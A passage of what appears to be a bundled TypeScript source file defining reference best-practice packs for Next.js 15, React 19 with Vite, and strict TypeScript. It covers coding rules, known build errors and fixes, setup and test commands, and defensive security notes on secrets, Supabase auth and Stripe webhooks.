\"Using the user object as returned from supabase.auth.getSession() ... could be insecure\" / auth bypass in server code',\n cause: 'Server-side authorization was based on getSession(), which decodes the cookie without verifying it against the Auth server.',\n fix: 'Use `const { data: { user } } = await supabase.auth.getUser()` on the server and branch on `user`; getUser() revalidates the JWT. Reserve getSession() for non-security reads.',\n },\n {\n id: 'nextjs.fail.supabase-middleware-logout',\n signature: 'Users are randomly logged out / \"Auth session missing!\" after navigation / the session refreshes in a loop',\n cause:\n 'The SSR middleware created the server client without a setAll cookie handler (or did not return the mutated NextResponse), so refreshed tokens were never written back.',\n fix: 'In middleware.ts create the client with getAll/setAll, call supabase.auth.getUser() to trigger the refresh, and return the NextResponse whose cookies setAll mutated. Keep the no-store cache headers the library sets so a CDN never caches one user\\'s tokens.',\n },\n {\n id: 'nextjs.fail.use-client-server-import',\n signature:\n 'Build error: \"You\\'re importing a component that needs server-only...\" or \"Module not found: Can\\'t resolve \\'fs\\'\" inside a \"use client\" file',\n cause: 'A Client Component imported a module that uses server-only APIs (Node built-ins, secret env, or an inline server action).',\n fix: 'Move the server logic into a Server Component or a \"use server\" action and pass only serialisable props/handlers to the client leaf. Mark secret modules with `import \"server-only\"`.',\n },\n {\n id: 'nextjs.fail.async-dynamic-api',\n signature: 'Error: Route used `cookies().get(...)` / `params.id`; these APIs should be awaited before use (sync-dynamic-apis)',\n cause: 'Next 15 made cookies(), headers(), draftMode(), and page params/searchParams asynchronous; synchronous access now errors.',\n fix: 'Await them: `const cookieStore = await cookies()`, type page props as `{ params: Promise<{ id: string }> }`, and `const { id } = await params` before use.',\n },\n {\n id: 'nextjs.fail.server-action-stale-ui',\n signature: 'A Server Action mutation succeeds but the UI keeps showing stale data until a manual refresh',\n cause: 'The action wrote data without revalidating the cached route segment, so the Full Route Cache re-served the old render.',\n fix: 'After a successful mutation call revalidatePath(\"/path\") or revalidateTag(\"tag\") (or redirect()), so the affected Server Component segments refetch.',\n },\n];\n\n/**\n * The Next.js + TypeScript reference pack. Matches a detected stack whose\n * framework is \"nextjs\".\n */\nexport const nextjsPack: StackPack = {\n id: 'nextjs-typescript',\n name: 'Next.js 15 + TypeScript (App Router)',\n matches: (stack) => stack.framework === 'nextjs',\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'next@^15',\n 'react@^19',\n 'react-dom@^19',\n 'typescript@^5',\n 'zod@^3',\n 'react-hook-form@^7',\n '@hookform/resolvers@^3',\n 'stripe@^19',\n '@stripe/stripe-js@^4',\n '@supabase/ssr@^0.6',\n '@supabase/supabase-js@^2',\n 'server-only',\n 'eslint-config-next@^15',\n '@playwright/test@^1',\n 'vitest@^2',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm dlx create-next-app@latest --ts --app --eslint --src-dir',\n 'pnpm add zod react-hook-form @hookform/resolvers',\n 'pnpm add stripe @stripe/stripe-js',\n 'pnpm add @supabase/ssr @supabase/supabase-js',\n 'pnpm add server-only',\n 'pnpm add -D vitest @vitejs/plugin-react @testing-library/react jsdom @playwright/test',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec next lint',\n 'pnpm exec vitest run',\n 'pnpm exec playwright test',\n 'stripe trigger checkout.session.completed',\n ],\n qualityGates: [\n 'Typecheck passes under strict TS: `tsc --noEmit` reports zero errors.',\n 'ESLint (eslint-config-next / core-web-vitals) passes with no errors.',\n '`next build` completes — every \"use server\"/\"use client\" boundary resolves and no Server module leaks into the client graph.',\n 'No NEXT_PUBLIC_ variable holds a secret (audit env + built client bundle).',\n 'Every Stripe webhook Route Handler verifies the signature against the raw body and dedupes on event.id before acting.',\n 'Every Server Action and mutating Route Handler performs an auth + ownership check before writing.',\n 'Supabase Row Level Security is enabled on every table the anon key can reach.',\n 'Unit + integration tests are green; critical auth and billing flows are covered by Playwright E2E.',\n ],\n securityNotes: [\n 'NEXT_PUBLIC_-prefixed env vars are inlined into the client JS bundle at build time — never prefix STRIPE_SECRET_KEY, STRIPE_WEBHOOK_SECRET, or SUPABASE_SERVICE_ROLE_KEY with it.',\n 'Import the `server-only` package at the top of any module that reads secrets; the build then fails if that module is pulled into a Client Component.',\n 'Initialise the Stripe client with the secret key only in server modules (Route Handlers, Server Actions). The browser receives only the publishable key and the Checkout Session URL/id.',\n 'Verify Stripe webhooks with stripe.webhooks.constructEvent(rawBody, \"stripe-signature\" header, STRIPE_WEBHOOK_SECRET) using the unparsed body, and reject (HTTP 400) on failure.',\n 'On the server, authorize with supabase.auth.getUser() (revalidates the JWT against the Auth server). Never gate access on auth.getSession(), which only decodes the cookie.',\n 'Treat every Server Action argument and Route Handler payload as untrusted: re-validate with the same Zod schema used on the client and re-check resource ownership.',\n 'Enforce Supabase Row Level Security; the anon key plus RLS is the real authorization boundary, not client-side checks.',\n 'Responses that set Supabase auth cookies must not be cached by a CDN — keep the no-store cache headers the SSR middleware sets so one user\\'s tokens are never served to another.',\n ],\n deploymentNotes: [\n 'Vercel is the reference target: choose `export const runtime = \"nodejs\"` for any Route Handler using the Stripe Node SDK (it needs Node crypto, not Edge).',\n 'Configure environment variables per Vercel scope (Production / Preview / Development); secrets must never carry the NEXT_PUBLIC_ prefix.',\n 'Register the production webhook endpoint in the Stripe dashboard and store its signing secret as STRIPE_WEBHOOK_SECRET; each environment needs its own endpoint and secret.',\n 'Set the Supabase URL + anon key as env vars; keep the service-role key server-only and out of Preview deployments that may run untrusted PR code.',\n 'Webhook Route Handlers must stay dynamic (they read the request body, so they already are) — do not add `export const dynamic = \"force-static\"`.',\n 'Use Vercel preview deployments with a Stripe test-mode key and a dedicated Supabase project/branch so previews never mutate production data.',\n ],\n commonFailures,\n};\n","/**\n * React (SPA) + TypeScript reference stack pack.\n *\n * Real, current (2026) guidance for a client-rendered React 19 app scaffolded\n * with Vite — the non-Next.js React case (Next.js has its own pack). Covers the\n * Rules of Hooks, deriving state instead of syncing it with effects, React 19\n * form actions (useActionState / useTransition / the `use` hook), Suspense-based\n * data loading with TanStack Query, error boundaries, and the Vite client-bundle\n * secret rule (import.meta.env.VITE_*). Versions are anchored to the shipping\n * APIs: React 19.x, Vite 6.x, React Router 7.x, TanStack Query 5.x.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// A React SPA pack applies to a plain React app or a Vite app (Vite in this\n// context is overwhelmingly a React/TS SPA). Next.js is served by its own pack.\nconst REACT_FRAMEWORKS = ['react', 'vite'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'react.rules-of-hooks',\n title: 'Call hooks unconditionally at the top level of a component or custom hook',\n detail:\n 'Never call a hook inside a condition, loop, early return, or nested function. React identifies hook state by call order, so a conditional hook shifts every subsequent hook and corrupts state. Put the condition inside the hook (e.g. pass enabled: false) rather than around it.',\n severity: 'high',\n appliesTo: ['component', 'lib'],\n },\n {\n id: 'react.derive-dont-sync',\n title: 'Derive state during render; do not mirror props/state into useState',\n detail:\n 'Anything computable from existing props or state should be calculated during render (optionally memoised), not copied into a second useState and kept in sync with an effect. Duplicated state drifts, and the extra effect causes a second render pass. Reserve state for values that cannot be derived.',\n severity: 'medium',\n appliesTo: ['component'],\n },\n {\n id: 'react.effects-for-external-only',\n title: 'Use useEffect only to synchronise with an external system',\n detail:\n 'Effects are for subscriptions, timers, imperative DOM APIs, and non-React widgets. Transforming data for rendering, resetting state on prop change, or handling user events do not need effects — do them during render or in the event handler. Fewer effects means fewer render cascades and stale-closure bugs.',\n severity: 'medium',\n appliesTo: ['component', 'lib'],\n },\n {\n id: 'react.stable-list-keys',\n title: 'Give list items a stable, identity-based key',\n detail:\n 'Use a stable id (record.id) as the key for rendered lists. The array index is only safe for static, never-reordered lists; using it for sortable/filterable/insertable lists makes React reuse the wrong DOM and component state, producing swapped inputs and lost focus.',\n severity: 'medium',\n appliesTo: ['component'],\n },\n {\n id: 'react.suspense-data-lib',\n title: 'Load async data with a caching library + Suspense, not hand-rolled effects',\n detail:\n 'Use TanStack Query (or Router loaders) for server state: it dedupes requests, caches, retries, and integrates with Suspense/error boundaries. Manual useEffect + useState fetching leaks race conditions (a slow response overwriting a newer one) and re-implements caching badly.',\n severity: 'medium',\n appliesTo: ['component', 'service'],\n },\n {\n id: 'react.split-context-by-frequency',\n title: 'Split context by change frequency and pass narrow values',\n detail:\n 'Every consumer of a context re-renders when its value changes. Separate rarely-changing config from frequently-changing state into different providers, memoise the provider value, and prefer a state manager with selectors (Zustand/Redux Toolkit) for hot, widely-read state to avoid whole-subtree re-renders.',\n severity: 'medium',\n appliesTo: ['component', 'lib'],\n },\n {\n id: 'react.controlled-inputs',\n title: 'Keep form inputs controlled with a single source of truth',\n detail:\n 'Bind inputs to state (value + onChange) or use React Hook Form as the single owner of the field value; do not mix a controlled value with uncontrolled defaultValue. Switching an input between controlled and undefined values triggers React\\'s controlled/uncontrolled warning and loses edits.',\n severity: 'low',\n appliesTo: ['component'],\n },\n {\n id: 'react.error-boundaries',\n title: 'Wrap route and feature boundaries in error boundaries',\n detail:\n 'A render error unmounts the whole tree unless an error boundary catches it. Place boundaries around routes and independent features (paired with Suspense fallbacks) so one failing widget degrades locally instead of blanking the app. Boundaries catch render/lifecycle errors, not event-handler errors — handle those explicitly.',\n severity: 'medium',\n appliesTo: ['component', 'page'],\n },\n {\n id: 'react.react19-actions',\n title: 'Use React 19 actions: useActionState, useTransition, and the use() hook',\n detail:\n 'React 19 provides useActionState for async form submissions with pending/error state, useTransition for non-blocking updates, useOptimistic for optimistic UI, and the use() hook to read promises/context conditionally. Prefer these over manual isLoading/isError booleans for async flows.',\n severity: 'low',\n appliesTo: ['component'],\n },\n {\n id: 'react.memoise-by-measurement',\n title: 'Add memoisation based on measurement; let the React Compiler do the rest',\n detail:\n 'Reach for useMemo/useCallback/React.memo when a profiled render is actually expensive or an unstable prop breaks a memoised child — not reflexively. The React Compiler (React 19) auto-memoises correct components; premature manual memoisation adds noise and can hide dependency bugs.',\n severity: 'low',\n appliesTo: ['component'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'react.anti.effect-derived-state',\n title: 'Syncing derived state into useState via useEffect',\n detail:\n 'const [full, setFull] = useState(); useEffect(() => setFull(first + last), [first, last]) renders twice and can flash stale data. Compute const full = first + last during render instead; only store it in state if it is genuinely independent user-editable state.',\n severity: 'medium',\n appliesTo: ['component'],\n },\n {\n id: 'react.anti.index-key',\n title: 'Using the array index as the key for a dynamic list',\n detail:\n 'key={index} on a list that can reorder, filter, or splice makes React associate state with position instead of identity, so deleting the first row visually deletes the last, and inputs keep the wrong values. Key by a stable record id.',\n severity: 'medium',\n appliesTo: ['component'],\n },\n {\n id: 'react.anti.conditional-hook',\n title: 'Calling a hook conditionally or inside a loop',\n detail:\n 'if (open) useEffect(...) or a hook after an early return changes the number/order of hooks between renders and throws \"Rendered fewer/more hooks than expected\". Move the hook above the branch and make the condition an argument.',\n severity: 'high',\n appliesTo: ['component', 'lib'],\n },\n {\n id: 'react.anti.giant-context',\n title: 'One monolithic context that re-renders the whole tree',\n detail:\n 'Stuffing all app state into a single Context provider means any change re-renders every consumer. Split contexts, memoise the value, or move hot state into a selector-based store so components only re-render on the slice they read.',\n severity: 'medium',\n appliesTo: ['component', 'lib'],\n },\n {\n id: 'react.anti.fetch-waterfall',\n title: 'Sequential fetch-in-useEffect waterfalls',\n detail:\n 'Awaiting one request in an effect, then triggering the next from its result, serialises independent network calls and shows nested spinners. Fetch in parallel (Promise.all / independent queries) and hoist loading to a Suspense boundary.',\n severity: 'medium',\n appliesTo: ['component', 'service'],\n },\n {\n id: 'react.anti.direct-dom-mutation',\n title: 'Mutating the DOM directly or reading refs during render',\n detail:\n 'document.querySelector(...).style = ... or reading ref.current during render fights React\\'s reconciliation and breaks on re-render. Express UI as state, and confine imperative DOM work to a ref callback or an effect that runs after commit.',\n severity: 'medium',\n appliesTo: ['component'],\n },\n {\n id: 'react.anti.setstate-in-render',\n title: 'Calling setState unconditionally during render',\n detail:\n 'setState in the render body (not in an event handler or effect, and without a guard) causes \"Too many re-renders\" as React re-runs render, sets state, and loops. Move the update into an event handler or guard it so it only fires on a real change.',\n severity: 'high',\n appliesTo: ['component'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'react',\n supported: '^19',\n note: 'React 19: stable Actions, useActionState/useOptimistic, the use() hook, ref-as-a-prop, and the React Compiler. react and react-dom must share the exact same major.',\n },\n {\n pkg: 'react-dom',\n supported: '^19',\n note: 'Must match the react major exactly; a react/react-dom skew is the classic cause of invalid-hook-call and hydration errors.',\n },\n {\n pkg: 'vite',\n supported: '^6',\n note: 'Vite 6.x with @vitejs/plugin-react (or plugin-react-swc). Client env vars must be prefixed VITE_ to be exposed to the bundle — everything else stays server/build-only.',\n },\n {\n pkg: 'react-router',\n supported: '^7',\n note: 'React Router 7 (the merged Remix core) — use route loaders/actions for data where possible instead of effect-based fetching.',\n },\n {\n pkg: '@tanstack/react-query',\n supported: '^5',\n note: 'TanStack Query 5 for server-state caching, dedupe, retries, and Suspense integration; the object-form useQuery({ queryKey, queryFn }) API.',\n },\n {\n pkg: 'typescript',\n supported: '^5',\n note: 'TypeScript 5.x for satisfies, const type parameters, and the strict flags (noUncheckedIndexedAccess, verbatimModuleSyntax) this stack assumes.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'react.fail.invalid-hook-call',\n signature: 'Error: Invalid hook call. Hooks can only be called inside the body of a function component',\n cause:\n 'Usually two copies of React in the bundle (a mismatched react/react-dom or a duplicated dependency), a hook called outside a component, or breaking the Rules of Hooks.',\n fix: 'Ensure a single react/react-dom of the same major (dedupe the lockfile), call hooks only at the top level of components/custom hooks, and check that a library peer-depends on your React rather than bundling its own.',\n },\n {\n id: 'react.fail.max-update-depth',\n signature: 'Warning: Maximum update depth exceeded / \"Too many re-renders. React limits the number of renders\"',\n cause: 'setState is called during render, or an effect updates state on every run because its dependency is a new object/array each render.',\n fix: 'Move the update into an event handler, guard it so it only runs on a real change, and stabilise effect dependencies (memoise objects/arrays or depend on primitive values).',\n },\n {\n id: 'react.fail.stale-closure',\n signature: 'An effect or event handler reads an old value of state/props after it has changed',\n cause: 'A useEffect/useCallback closed over a value but omitted it from the dependency array, so it captured the value from the render it was created in.',\n fix: 'List every reactive value the callback reads in the dependency array (let the react-hooks/exhaustive-deps lint rule enforce it), or use a functional updater setX(prev => ...) / a ref for values you intentionally read latest.',\n },\n {\n id: 'react.fail.hydration-mismatch',\n signature: 'Warning: Text content did not match / \"Hydration failed because the server rendered HTML didn\\'t match the client\"',\n cause: 'Render output depends on non-deterministic or client-only values (Date.now(), Math.random(), locale, window/localStorage) that differ between the server and the first client render.',\n fix: 'Render deterministically on first paint and move client-only values into an effect (or a mounted flag), so the initial client render matches the server HTML.',\n },\n {\n id: 'react.fail.missing-key-warning',\n signature: 'Warning: Each child in a list should have a unique \"key\" prop',\n cause: 'A mapped array rendered elements without a key, so React cannot track identity across renders and re-mounts items (losing input state and focus).',\n fix: 'Add key={item.id} using a stable identifier on the outermost element of each iteration; do not fall back to the index for reorderable lists.',\n },\n {\n id: 'react.fail.act-warning',\n signature: 'Warning: An update to Component inside a test was not wrapped in act(...)',\n cause: 'A test triggered an async state update (a resolved promise/timer) that settled after the assertion, outside React\\'s act() batching.',\n fix: 'Use @testing-library/react\\'s async utilities (findBy*, await waitFor, userEvent) so updates are flushed inside act, and await all pending promises before asserting.',\n },\n];\n\n/**\n * The React (SPA) + TypeScript reference pack. Matches a plain React or Vite\n * detected stack (Next.js is served by nextjsPack).\n */\nexport const reactPack: StackPack = {\n id: 'react-typescript',\n name: 'React 19 + TypeScript (Vite SPA)',\n matches: (stack) => REACT_FRAMEWORKS.includes(stack.framework),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'react@^19',\n 'react-dom@^19',\n 'typescript@^5',\n 'vite@^6',\n '@vitejs/plugin-react@^4',\n 'react-router@^7',\n '@tanstack/react-query@^5',\n 'zod@^3',\n 'react-hook-form@^7',\n '@hookform/resolvers@^3',\n 'zustand@^5',\n 'vitest@^2',\n '@testing-library/react@^16',\n '@testing-library/user-event@^14',\n '@playwright/test@^1',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm create vite@latest my-app --template react-ts',\n 'pnpm add react-router @tanstack/react-query',\n 'pnpm add zod react-hook-form @hookform/resolvers zustand',\n 'pnpm add -D vitest @testing-library/react @testing-library/user-event @testing-library/jest-dom jsdom',\n 'pnpm add -D @playwright/test',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec eslint .',\n 'pnpm exec vitest run',\n 'pnpm exec playwright test',\n ],\n qualityGates: [\n 'Typecheck passes under strict TS: `tsc --noEmit` reports zero errors.',\n 'ESLint passes, including react-hooks/rules-of-hooks and react-hooks/exhaustive-deps with no errors.',\n '`vite build` completes with no unresolved imports and no duplicate React in the bundle.',\n 'No secret is exposed through a VITE_-prefixed env var (audit the built assets).',\n 'Every rendered list uses a stable identity key; no index keys on dynamic lists.',\n 'Async data flows go through TanStack Query / router loaders with error + loading states, not bare useEffect fetches.',\n 'Unit + component tests are green; critical user flows are covered by Playwright E2E.',\n ],\n securityNotes: [\n 'Vite inlines every import.meta.env.VITE_-prefixed variable into the client bundle at build time — never put an API secret, service key, or private token behind the VITE_ prefix.',\n 'A React SPA runs entirely in the browser: it has no trusted server boundary of its own, so all real authorization must be enforced by the API it calls, never by hiding UI.',\n 'Avoid dangerouslySetInnerHTML; if you must render HTML, sanitise it (e.g. DOMPurify) to prevent XSS. Never inject unsanitised user content into innerHTML.',\n 'Do not build href/src from untrusted input without validating the scheme — javascript: and data: URLs enable script execution.',\n 'Keep access tokens out of localStorage where practical (XSS-readable); prefer httpOnly cookies set by the backend for session credentials.',\n 'Pin and audit dependencies (a compromised transitive dep runs in every user\\'s browser); enable a Content-Security-Policy at the hosting layer.',\n ],\n deploymentNotes: [\n 'Build to static assets (`vite build` → dist/) and serve from a CDN; the app is fully client-rendered with no Node server required.',\n 'Configure a SPA history fallback (rewrite unknown paths to /index.html) so client-side routes deep-link correctly.',\n 'VITE_ env vars are baked in at build time per environment — rebuild to change them; they are not runtime-configurable.',\n 'Set long-lived immutable cache headers on hashed asset filenames and a short/no-cache header on index.html so new deploys are picked up.',\n 'Serve over HTTPS with a Content-Security-Policy and standard security headers (X-Content-Type-Options, Referrer-Policy) at the CDN/host.',\n ],\n commonFailures,\n};\n","/**\n * TypeScript (language-level) reference stack pack.\n *\n * Real, current (2026) guidance that applies to any TypeScript project\n * regardless of framework: strict compiler configuration (including\n * noUncheckedIndexedAccess, exactOptionalPropertyTypes, verbatimModuleSyntax),\n * parse-don't-validate at boundaries with Zod, discriminated unions with\n * exhaustive never checks, unknown-over-any, and the ESM/NodeNext resolution\n * rules. Anchored to TypeScript 5.x, ESLint 9 flat config + typescript-eslint 8.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\nconst bestPractices: Rule[] = [\n {\n id: 'ts.strict-all',\n title: 'Enable strict plus the extra soundness flags',\n detail:\n 'Turn on \"strict\": true and additionally noUncheckedIndexedAccess (array/record access yields T | undefined), exactOptionalPropertyTypes, noImplicitOverride, and noFallthroughCasesInSwitch. Strict alone still lets arr[i] pretend to be defined; the extra flags close the gaps that cause runtime undefined-access crashes.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'ts.unknown-over-any',\n title: 'Prefer unknown to any and narrow before use',\n detail:\n 'any disables type checking for everything it touches and silently spreads. Use unknown for genuinely-unknown values and narrow with typeof/instanceof/a Zod parse before use. Reserve any for rare, isolated, commented escape hatches — never as the default for \"I\\'ll type it later\".',\n severity: 'high',\n appliesTo: ['lib', 'service'],\n },\n {\n id: 'ts.parse-dont-validate',\n title: 'Parse external input at the boundary and infer the type from the schema',\n detail:\n 'Every value crossing a trust boundary (HTTP body, env, JSON file, third-party API) is unknown at runtime regardless of its declared type. Validate it once at the edge with Zod (or Valibot) and derive the static type with z.infer, so the compiler and the runtime agree instead of the type being an unchecked assertion.',\n severity: 'high',\n appliesTo: ['service', 'api', 'schema'],\n },\n {\n id: 'ts.discriminated-unions-exhaustive',\n title: 'Model states as discriminated unions with an exhaustive never check',\n detail:\n 'Represent mutually-exclusive states as a union with a literal discriminant ({ status: \"loading\" } | { status: \"error\"; error } | { status: \"ok\"; data }) instead of a bag of optional fields. Switch on the discriminant and add a default: const _exhaustive: never = state so adding a new variant becomes a compile error.',\n severity: 'medium',\n appliesTo: ['lib', 'service'],\n },\n {\n id: 'ts.readonly-immutability',\n title: 'Default to readonly and as const for data you do not mutate',\n detail:\n 'Mark function parameters and returned data structures readonly / ReadonlyArray, and use as const for literal config so it keeps its narrow literal type. Immutable-by-default signatures document intent and stop accidental mutation of shared objects.',\n severity: 'low',\n appliesTo: ['lib', 'service'],\n },\n {\n id: 'ts.satisfies-operator',\n title: 'Use satisfies to check a value against a type without widening it',\n detail:\n 'const config = {...} satisfies Config verifies the object matches Config while preserving the exact literal types of its members (so keys stay specific and unions stay narrow). Prefer it to an \"as Config\" annotation, which both checks and widens and can hide missing keys.',\n severity: 'low',\n appliesTo: ['config', 'lib'],\n },\n {\n id: 'ts.union-over-enum',\n title: 'Prefer const string-literal unions to enums',\n detail:\n 'type Mode = \"on\" | \"off\" (optionally with an as const array as the runtime source of truth) is fully erasable, has no runtime cost, and plays well with isolatedModules/verbatimModuleSyntax. TypeScript enums emit runtime code and numeric enums are unsound; avoid them in new code.',\n severity: 'low',\n appliesTo: ['lib'],\n },\n {\n id: 'ts.import-type',\n title: 'Use `import type` for type-only imports (verbatimModuleSyntax)',\n detail:\n 'With verbatimModuleSyntax the compiler emits imports verbatim, so a value import used only for its type stays in the output and can cause runtime/cycle errors. Import types with `import type { X }` (or inline `import { type X }`) and re-export them with `export type` so they are fully elided.',\n severity: 'medium',\n appliesTo: ['lib', 'service'],\n },\n {\n id: 'ts.catch-unknown',\n title: 'Treat catch bindings as unknown and narrow before use',\n detail:\n 'Under useUnknownInCatchVariables (part of strict) a catch (err) binds err as unknown. Narrow it (err instanceof Error ? err.message : String(err)) before reading .message, and define typed error classes for domain errors so callers can discriminate them.',\n severity: 'medium',\n appliesTo: ['service', 'lib'],\n },\n {\n id: 'ts.esm-resolution',\n title: 'Pick one module resolution strategy and honour its import rules',\n detail:\n 'Use moduleResolution \"Bundler\" for bundled apps (extensionless relative imports) or \"NodeNext\" for code Node runs directly (relative imports must include the .js extension). Do not mix the two expectations; the wrong choice yields either editor errors or ERR_MODULE_NOT_FOUND at runtime.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'ts.anti.any-escape',\n title: 'Reaching for any (or `as any`) to silence an error',\n detail:\n 'any and as any switch off checking for that value and everything derived from it, so real bugs (typos, wrong shapes, null access) sail through. Model the type, narrow from unknown, or use a Zod parse; if an escape hatch is truly unavoidable, isolate it and comment why.',\n severity: 'high',\n appliesTo: ['lib', 'service'],\n },\n {\n id: 'ts.anti.non-null-assertion',\n title: 'Sprinkling the non-null assertion (!) to dismiss nullability',\n detail:\n 'value!.foo tells the compiler \"trust me, not null\" — when it is null you get a runtime TypeError the types promised could not happen. Narrow with a real check, provide a default, or fix the type so the value genuinely cannot be null.',\n severity: 'medium',\n appliesTo: ['lib', 'service'],\n },\n {\n id: 'ts.anti.assertion-lie',\n title: 'Using `as SomeType` to force a value into a shape it does not have',\n detail:\n 'A type assertion is an unchecked claim, not a conversion. Asserting an API response `as User` when it was never validated means the \"User\" can be missing fields at runtime. Validate with a schema and let inference produce the type instead of asserting.',\n severity: 'high',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'ts.anti.ts-ignore',\n title: 'Suppressing errors with @ts-ignore',\n detail:\n '@ts-ignore silences whatever error appears on the next line, including new errors introduced later, and rots silently. If a suppression is truly required use @ts-expect-error with a comment — it errors if the underlying problem is ever fixed, so it cannot go stale.',\n severity: 'medium',\n appliesTo: ['lib', 'service'],\n },\n {\n id: 'ts.anti.enum-runtime',\n title: 'Introducing enums (especially const enums) in new code',\n detail:\n 'const enum breaks under isolatedModules/verbatimModuleSyntax and single-file transpilers (esbuild/SWC); regular enums emit runtime objects and numeric enums accept any number. Use string-literal unions or an as const object instead.',\n severity: 'low',\n appliesTo: ['lib'],\n },\n {\n id: 'ts.anti.trust-external-as-typed',\n title: 'Treating JSON.parse / fetch().json() results as already typed',\n detail:\n 'const user: User = await res.json() is a lie: json() returns any, so the annotation is an unchecked assertion and no validation happens. Parse the response through a schema before using it as a typed value.',\n severity: 'high',\n appliesTo: ['service', 'api'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'typescript',\n supported: '^5',\n note: 'TypeScript 5.x: satisfies, const type parameters, verbatimModuleSyntax, isolatedDeclarations, and the strict flag set this pack assumes. Bump majors deliberately and read the release notes for new errors under strict.',\n },\n {\n pkg: '@types/node',\n supported: '^22',\n note: 'Match @types/node to the Node major you run (22 LTS / 24). A mismatched types package hides or invents Node API signatures.',\n },\n {\n pkg: 'eslint',\n supported: '^9',\n note: 'ESLint 9 uses the flat config (eslint.config.js). Older .eslintrc examples will not load without the compatibility shim.',\n },\n {\n pkg: 'typescript-eslint',\n supported: '^8',\n note: 'typescript-eslint 8 provides the flat-config helper (tseslint.config) and type-aware rules; enable the recommended-type-checked set for the no-floating-promises / no-unsafe-* rules.',\n },\n {\n pkg: 'vitest',\n supported: '^2',\n note: 'Vitest 2.x runs ESM/TS natively with no separate transform config; align its tsconfig types with the project.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'ts.fail.erasable-syntax',\n signature:\n 'error TS1286: ESM syntax is not allowed in a CommonJS module / TS1287 / \"This syntax is not allowed when erasableSyntaxOnly is enabled\" / enum or namespace flagged under verbatimModuleSyntax',\n cause: 'Non-erasable TypeScript constructs (enum, namespace, parameter properties) or a value import used only as a type conflict with verbatimModuleSyntax / a type-stripping runtime.',\n fix: 'Replace enums with const unions and namespaces with modules, avoid parameter properties, and use `import type` for type-only imports so the syntax is fully erasable.',\n },\n {\n id: 'ts.fail.no-unchecked-indexed',\n signature: \"error TS2532/TS18048: Object is possibly 'undefined' after indexing an array or record\",\n cause: 'noUncheckedIndexedAccess makes arr[i] and record[key] yield T | undefined, so accessing a property on the result without a guard errors.',\n fix: 'Guard the access (const item = arr[i]; if (!item) return ...), use .at()/optional chaining, or iterate with for...of / .map so the element is non-nullable — do not disable the flag.',\n },\n {\n id: 'ts.fail.catch-unknown',\n signature: \"error TS18046: 'error' is of type 'unknown' when reading error.message in a catch block\",\n cause: 'useUnknownInCatchVariables (part of strict) types the catch binding as unknown, so property access is rejected.',\n fix: 'Narrow first: `const message = error instanceof Error ? error.message : String(error)`, or route through a typed error class before reading fields.',\n },\n {\n id: 'ts.fail.esm-missing-extension',\n signature: \"ERR_MODULE_NOT_FOUND: Cannot find module '.../foo' at runtime (Node ESM / NodeNext)\",\n cause: 'Under NodeNext, Node requires the explicit file extension in relative import specifiers, but the source omitted it (e.g. import \"./foo\" instead of \"./foo.js\").',\n fix: 'Add the .js extension to relative imports when targeting Node ESM directly, or switch to moduleResolution \"Bundler\" and let a bundler resolve extensionless imports.',\n },\n {\n id: 'ts.fail.isolated-modules-reexport',\n signature: \"error TS1205/TS1448: Re-exporting a type when 'isolatedModules'/'verbatimModuleSyntax' is enabled\",\n cause: 'A type was re-exported with a value re-export (export { Foo }) under isolatedModules/verbatimModuleSyntax, which cannot tell it is type-only.',\n fix: 'Use `export type { Foo }` (or `export { type Foo }`) so the compiler and single-file transpilers know to erase it.',\n },\n];\n\n/**\n * The TypeScript language-level reference pack. Matches any detected stack whose\n * primary language is TypeScript, regardless of framework.\n */\nexport const typescriptPack: StackPack = {\n id: 'typescript',\n name: 'TypeScript (strict, language-level)',\n matches: (stack) => stack.language === 'typescript',\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'typescript@^5',\n '@types/node@^22',\n 'zod@^3',\n 'eslint@^9',\n 'typescript-eslint@^8',\n 'prettier@^3',\n 'vitest@^2',\n 'tsx@^4',\n 'tsup@^8',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm add -D typescript @types/node',\n 'pnpm exec tsc --init',\n 'pnpm add zod',\n 'pnpm add -D eslint typescript-eslint prettier',\n 'pnpm add -D vitest tsx',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec eslint .',\n 'pnpm exec prettier --check .',\n 'pnpm exec vitest run',\n ],\n qualityGates: [\n 'tsconfig has \"strict\": true plus noUncheckedIndexedAccess, exactOptionalPropertyTypes, noImplicitOverride, and verbatimModuleSyntax.',\n '`tsc --noEmit` reports zero errors — no @ts-ignore/@ts-expect-error suppressions left in place without justification.',\n 'ESLint (typescript-eslint recommended-type-checked) passes; no-floating-promises and no-explicit-any are enforced.',\n 'No `any` or unchecked `as` assertion at a trust boundary — external input is parsed with a schema.',\n 'Every discriminated union switch has a `never` exhaustiveness check.',\n 'Unit tests are green under Vitest.',\n ],\n securityNotes: [\n 'Static types are erased at runtime — they are not a security control. Every value from the network, the filesystem, env, or a third-party API must be validated at runtime (Zod) before it is trusted.',\n 'An `as` assertion or a non-null `!` is an unchecked claim; using it on untrusted data lets malformed/malicious input flow through as if it were valid.',\n 'Never use eval() or new Function() to interpret data — they execute arbitrary code and defeat the type system entirely.',\n 'Validate and parse environment variables at startup with a schema so a missing/mis-typed secret fails fast instead of surfacing as undefined deep in a request.',\n 'Enable typescript-eslint\\'s no-floating-promises: an unhandled rejected promise can crash a Node process or silently swallow an error.',\n ],\n deploymentNotes: [\n 'Type-check in CI (`tsc --noEmit`) as a gate independent of the bundler — a passing bundle does not 